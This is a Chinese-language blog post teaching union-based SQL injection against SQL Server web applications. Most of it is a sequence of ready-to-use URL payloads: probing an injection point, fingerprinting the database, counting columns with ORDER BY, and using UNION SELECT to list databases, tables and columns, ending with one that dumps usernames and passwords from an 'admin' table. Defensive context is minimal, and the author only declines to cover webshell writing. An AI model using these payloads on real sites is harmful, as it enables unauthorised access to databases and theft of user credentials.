SQL注入--sql server

談到SQL注入,不得不提它的本質,把用戶的輸入數據當做代碼來執行。兩個關鍵條件,第一個是用戶能夠控制的輸入;第二個是程序要執行的代碼,拼接了用戶輸入的數據

按照注入的技術類型可分解爲:

顯錯注入和盲注入,其中盲注入可分爲,聯合查詢注入,堆查詢注入,DNS查詢注入,報錯注入,延時注入和布爾注入。這篇文章重點在分享一些聯合查詢注入的命令


1.首先來判斷注入點(URL類)

當目標URL爲:www.target.com/1.php?id=88時,來進行簡單的注入點判斷;

www.target.com/1.php?id=88-0 無變化
www.target.com/1.php?id=88-1 報錯


www.target.com/1.php?id=88 and 1=1 無變化
www.target.com/1.php?id=88-1 and 1=2 報錯

2.判斷是何種數據庫
URL+/*!%20s*/ 錯誤則是MySQL;URL+/*pc 正常爲MySQL

URL+and exists(select @@version)-- 正常爲SQL Server

3.SQL Server 2008注入過程

判斷字段數:

id=1/**/Order/**/By/**/5/**/-- 正常則字段數≥5      --和/**/均爲註釋用來註釋執行語句時的代碼 保證注入代碼正常執行
id=1/**/Order/**/By/**/6/**/-- 錯誤則字段數<6

判斷數據類型,字符型就可以SQL注入了

id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL--   正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL--    正常
(一位一位去嘗試)

顯示數據庫版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--

當前庫名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--

指定庫表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from庫名..sysobjects where xtype='u' and name not in(select top 0 name from 庫名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--

當前庫查詢表

and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--     //第二個top從0開始輸入 1,2,....列出當前庫所有表名

查詢admin變內的字段

d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二個top從0開始遍歷

查看admin變字段id,username,password的內容

id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--

webshell寫入和系統命令執行就不能再分享了





發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章